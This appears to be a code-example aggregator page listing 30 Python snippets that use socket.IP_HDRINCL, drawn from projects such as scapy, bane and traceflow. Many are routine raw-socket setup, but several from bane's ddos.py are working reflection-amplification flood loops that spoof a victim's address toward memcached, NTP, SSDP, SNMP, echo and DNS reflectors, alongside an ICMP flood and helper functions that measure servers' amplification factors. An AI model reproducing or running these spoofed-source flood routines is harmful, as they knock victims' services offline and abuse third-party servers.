Python socket.IP_HDRINCL Examples

The following are 30 code examples of socket.IP_HDRINCL(). You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may also want to check out all available functions/classes of the module socket , or try the search function .
Example #1
Source File: supersocket.py    From scapy with GNU General Public License v2.0 7 votes vote down vote up
def __init__(self, type=ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):  # noqa: E501
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)  # noqa: E501
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))  # noqa: E501
        self.iface = iface
        if iface is not None:
            self.ins.bind((self.iface, type))
        if not six.PY2:
            try:
                # Receive Auxiliary Data (VLAN tags)
                self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1)
                self.ins.setsockopt(
                    socket.SOL_SOCKET,
                    SO_TIMESTAMPNS,
                    1
                )
                self.auxdata_available = True
            except OSError:
                # Note: Auxiliary Data is only supported since
                #       Linux 2.6.21
                msg = "Your Linux Kernel does not support Auxiliary Data!"
                log_runtime.info(msg) 
Example #2
Source File: ddos.py    From bane with MIT License 6 votes vote down vote up
def run(self):
  global memcacheamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(meml)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,11211))
    memcacheamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(memcacheamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(memcacheamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.target=None
  self.port=None 
Example #3
Source File: ddos.py    From bane with MIT License 6 votes vote down vote up
def run(self):
  global ntpamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(ntpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,123))
    ntpamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(ntpamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(ntpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.target=None
  self.port=None 
Example #4
Source File: ddos.py    From bane with MIT License 6 votes vote down vote up
def run(self):
  global ssdpamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(ssdpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,1900))
    ssdpamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(ssdpamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(ssdpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.target=None
  self.port=None 
Example #5
Source File: ddos.py    From bane with MIT License 6 votes vote down vote up
def run(self):
  global snmpamplif_counter
  self.target=target
  self.speed=speed
  self.port=port
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(snmpl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=161)/Raw(load='\x30\x26\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x19\x02\x04\x71\xb4\xb5\x68\x02\x01\x00\x02\x01\x7F\x30\x0b\x30\x09\x06\x05\x2b\x06\x01\x02\x01\x05\x00')
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,161))
    snmpamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(snmpamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(snmpamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.target=None
  self.speed=None
  self.port=None 
Example #6
Source File: traffic_pass.py    From fdslight with GNU General Public License v2.0 6 votes vote down vote up
def init_func(self, creator_fd):
        self.__creator_fd = creator_fd
        self.__sent = []

        family = socket.AF_INET

        s = socket.socket(family, socket.SOCK_RAW, socket.IPPROTO_UDP | socket.IPPROTO_ICMP | socket.IPPROTO_UDP | 136)
        s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        s.setblocking(0)

        self.__socket = s
        self.set_fileno(s.fileno())
        self.register(self.fileno)
        self.add_evt_read(self.fileno)

        return self.fileno 
Example #7
Source File: supersocket.py    From dash-hack with MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #8
Source File: ddos.py    From bane with MIT License 5 votes vote down vote up
def run(self):
  global echo_ref_counter
  self.target=target
  self.minsize=minsize
  self.maxsize=maxsize
  self.speed=speed
  self.port=port
  time.sleep(2)
  while (stop!=True):
   data=''
   for x in range(random.randint(self.minsize,self.maxsize)):
    data +=random.choice(lis)
   if len(data)>1400:
    data=data[0:1400]
   try:
    ip=random.choice(pingl)
    packet=IP(src=self.target, dst=ip)/UDP(sport=self.port,dport=7)/Raw(load=data)
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,port))
    echo_ref_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {} | Bytes: {}   ".format(echo_ref_counter,ip,len(data)))
        sys.stdout.flush()
        #print("Packets sent: {} | IP: {} | Bytes: {}".format(echo_ref_counter,ip,len(data)))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.target=None
  self.minsize=None
  self.maxsize=None
  self.speed=None
  self.port=None 
Example #9
Source File: ddos.py    From bane with MIT License 5 votes vote down vote up
def run(self):
  global icmp_counter
  self.speed=speed
  self.minsize=minsize
  self.maxsize=maxsize
  self.target=target
  self.port=port
  self.minttl=minttl
  self.maxttl=maxttl
  time.sleep(2)
  while (stop!=True):
   data=''
   for x in range(random.randint(self.minsize,self.maxsize)):
     data +=random.choice(lis)
   if len(data)>1400:
    data=data[0:1400]
   try:
    packet=IP(ttl=random.randint(self.minttl,self.maxttl),dst=self.target)/ICMP()/data
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, 1)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(self.target,self.port))
    icmp_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | Bytes: {}  ".format(icmp_counter,len(data)))
        sys.stdout.flush()
        #print("Packets sent: {} | Bytes: {}".format(icmp_counter,len(data)))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.minsize=None
  self.maxsize=None
  self.target=None
  self.port=None
  self.minttl=None
  self.maxttl=None 
Example #10
Source File: host-scanner-via-udp.py    From Offensive-Security-Certified-Professional with MIT License 5 votes vote down vote up
def main(argv):
    global BIND

    if len(argv) < 3:
        print('Usage: ./udp-scan.py <bind-ip> <target-subnet>')
        sys.exit(1)

    bindAddr = sys.argv[1]
    subnet = sys.argv[2]

    sockProto = None
    if os.name == 'nt':
        sockProto = socket.IPPROTO_IP
    else:
        sockProto = socket.IPPROTO_ICMP

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, sockProto)
    if DEBUG: print('[.] Binding on {}:0'.format(bindAddr))
    sniffer.bind((bindAddr, 0))

    # Include IP headers in the capture
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # In Windows, set up promiscous mode.
    if os.name == 'nt':
        try:
            sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
        except socket.error, e:
            print('[!] Could not set promiscous mode ON: "{}"'.format(str(e)))

    # Sending thread 
Example #11
Source File: supersocket.py    From arissploit with GNU General Public License v3.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #12
Source File: supersocket.py    From dash-hack with MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #13
Source File: supersocket.py    From dash-hack with MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #14
Source File: raw.py    From peach with Mozilla Public License 2.0 5 votes vote down vote up
def connect(self):
        if self._socket is not None:
            # Close out old socket first
            self._socket.close()
        # Include IP headers
        self._socket = socket.socket(socket.AF_INET,
                                     socket.SOCK_RAW,
                                     socket.IPPROTO_RAW)
        self._socket.bind((self._interface, 0))
        self._socket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 
Example #15
Source File: supersocket.py    From isip with MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #16
Source File: supersocket.py    From POC-EXP with GNU General Public License v3.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #17
Source File: supersocket.py    From kamene with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #18
Source File: piescan.py    From piescan with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def sniffer_thread(target):

    sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
    sniffer.bind(("0.0.0.0", 0 ))
    sniffer.settimeout(5)
    sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    # continually read in packets and parse their information
    while ( 1 ):
	try:
	        raw_buffer = sniffer.recvfrom(65565)[0]
        
	except:
		if (SNIFF_MUTEX == 0):
			sys.exit(1)

	ip_header = raw_buffer[0:20]
	dst_port = struct.unpack(">h", raw_buffer[0x32:0x34])[0]
        iph = struct.unpack('!BBHHHBBH4s4s' , ip_header)

        # Create our IP structure
        version_ihl = iph[0]
        ihl = version_ihl & 0xF
        iph_length = ihl * 4
        src_addr = socket.inet_ntoa(iph[8]);

        # Create our ICMP structure
        buf = raw_buffer[iph_length:iph_length + ctypes.sizeof(ICMP)]
        icmp_header = ICMP(buf)

        # check for the type 3 and code and within our target subnet
        if icmp_header.code == 3 and icmp_header.type == 3 and src_addr == target:
		if dst_port not in ports_ident["closed"]:
			ports_ident["closed"].append(dst_port) 
Example #19
Source File: ddos.py    From bane with MIT License 5 votes vote down vote up
def run(self):
  global dnsamplif_counter
  self.speed=speed
  self.target=target
  self.port=port
  self.query=query
  time.sleep(2)
  while (stop!=True):
   try:
    ip=random.choice(dnsl)
    packet= IP(src=self.target, dst=ip) / UDP(sport=self.port,dport=53) / DNS(rd=1, qd=DNSQR(qname=random.choice(domainl), qtype=self.query))
    s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
    packet=bytes(packet)
    s.sendto(packet,(ip,53))
    dnsamplif_counter+=1
    if prints==True:
        sys.stdout.write("\rPackets sent: {} | IP: {}   ".format(dnsamplif_counter,ip))
        sys.stdout.flush()
        #print ("Packets sent: {} | IP: {}".format(dnsamplif_counter,ip))
   except Exception as e:
    pass
   time.sleep(self.speed)
  self.speed=None
  self.target=None
  self.port=None
  self.query=None 
Example #20
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def echo_factor(u,q='a',timeout=3):
 """
calculate the amplification factor for any given echo server
 """
 req=IP( dst=u)/UDP(sport=random.randint(1025,65500),dport=7)/Raw(load=q)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,7))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'echo','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #21
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def ssdp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ssdp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=1900)/Raw(load='M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nMAN: "ssdp:discover"\r\nMX: 2\r\nST: ssdp:all\r\n\r\n')
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,1900))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ssdp','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #22
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def ntp_factor(u,timeout=3):
 """
calculate the amplification factor for any given ntp server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=123)/Raw(load='\x17\x00\x02\x2a'+'\x00'*4)
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,123))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'ntp','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #23
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def chargen_factor(u,timeout=3,q='0'):
 #q: the character to send
 """
calculate the amplification factor for any given chargen server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=19)/q
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,19))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'chargen','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #24
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def dns_factor(u,timeout=3,q='google.com',t='ANY'):
 #q: the domain name to resolve
 #t: the dns query type
 """
calculate the amplification factor for any given dns server
 """
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=53)/DNS(rd=1, qd=DNSQR(qname=q,qtype=t))
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,53))
 s.settimeout(timeout)
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'dns','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #25
Source File: amplifier.py    From bane with MIT License 5 votes vote down vote up
def memcache_factor(u,timeout=3):
 """
calculate the amplification factor for any given memcache server
 """
 #creating the payload
 req = IP(dst=u)/UDP(sport=random.randint(1025,65500),dport=11211)/Raw(load="\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n")
 s= socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_UDP)#creating a raw socket
 s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
 s.sendto(bytes(req),(u,11211))
 s.settimeout(timeout)#set timeout
 d=''
 while True:
  try:
   o=''
   o+=str(s.recv(4096))
  except KeyboardInterrupt:
   s.close()
   break
  except:
   pass
  if len(o)==0:
   break
  else:
   d+=o
 a=len(req)
 b=len(d)
 c=round(((len(d)*1.)/len(req)),3)
 return {'protocol':'memcache','ip':u,'sent':a,'received':b,'amplification_factor':c} 
Example #26
Source File: native.py    From scapy with GNU General Public License v2.0 5 votes vote down vote up
def nonblock_recv(self, x=MTU):
        return self.recv()

    # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2  # noqa: E501
    # - For IPv4 (address family of AF_INET), an application receives the IP
    # header at the front of each received datagram regardless of the
    # IP_HDRINCL socket option.
    # - For IPv6 (address family of AF_INET6), an application receives
    # everything after the last IPv6 header in each received datagram
    # regardless of the IPV6_HDRINCL socket option. The application does
    # not receive any IPv6 headers using a raw socket. 
Example #27
Source File: supersocket.py    From mptcp-abuse with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #28
Source File: supersocket.py    From CVE-2016-6366 with MIT License 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) 
Example #29
Source File: supersocket.py    From smod-1 with GNU General Public License v2.0 5 votes vote down vote up
def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0):
        self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
        self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
        self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type))
        if iface is not None:
            self.ins.bind((iface, type)) 
Example #30
Source File: socket_handler.py    From traceflow with BSD 3-Clause "New" or "Revised" License 5 votes vote down vote up
def __init__(self, daddr):
        try:
            self.raw_sock = socket.socket(
                socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW
            )
        except PermissionError as e:
            print(e)
            print("Please run as root!")
            exit(1)
        self.ip_daddr = daddr
        os_release = platform.system()
        if os_release == "Darwin":
            # Boned. TODO: Work on fixing this.
            print("Detected Mac OS - Cannot support writing of raw IP packets, exiting")
            exit(1)
        if os_release.endswith("BSD"):
            # BSD - Need to explicit set IP_HDRINCL.
            # BSD - Need to explicitly calculate IP total length
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected a BSD")
        if os_release == "Linux":
            # Linux - No need to set IP_HDRINCL,as setting SOCK_RAW auto sets this. However should be explicit in settings.
            self.raw_sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            logging.debug("Detected Linux")
        if os_release == "Windows":
            # No idea - No ability to test. Maybe abort?
            # TODO: Find testers?
            logging.debug("Detected NT")
            print("Untested on Windows - Exiting")
            exit(1)